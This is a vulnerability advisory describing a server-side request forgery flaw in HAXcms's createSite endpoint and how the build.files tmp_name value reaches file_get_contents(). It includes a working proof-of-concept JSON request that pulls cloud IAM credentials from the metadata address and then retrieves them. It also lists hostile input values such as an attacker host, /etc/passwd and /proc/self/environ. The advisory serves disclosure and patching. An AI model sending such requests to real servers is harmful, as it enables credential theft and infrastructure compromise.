OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 19:56
发布时间
2026-05-19 22:44
GitHub 审查时间
2026-05-19 22:44
NVD 发布时间
2026-06-06 03:16
源文件
advisories/github-reviewed/2026/05/GHSA-q862-gcgq-5m6g/GHSA-q862-gcgq-5m6g.json
An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.
The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().
The data flow is as follows:
build.files) is processed via object_to_array() into a PHP array$filesToDownload in Operations.php (line 2626)Operations.php (line 2730), where each entry is passed to HAXCMSFile::save() with bulk-import enabledIn HAXCMSFile.php (line 30), the following occurs:
file_get_contents($upload['tmp_name']);
Here, tmp_name is attacker-controlled and may contain:
http://attacker.com)http://127.0.0.1)http://169.254.169.254)/etc/passwd, /proc/self/environ)The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.
There are no restrictions on:
http, file, gopher, etc.)All fetched content is written to:
sites/<sitename>/files/<filename>
and is accessible via the web.
Prerequisites:
admin/admin on fresh installs)Step 1: Log in and capture JWT + CSRF token
Step 2: Send crafted request:
POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json
{
"site": {
"name": "poc"
},
"build": {
"files": {
"poc.txt": {
"tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}
Step 3: Retrieve response:
GET /sites/poc/files/poc.txt
The response will contain the fetched content (e.g., cloud credentials or internal service data).
Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.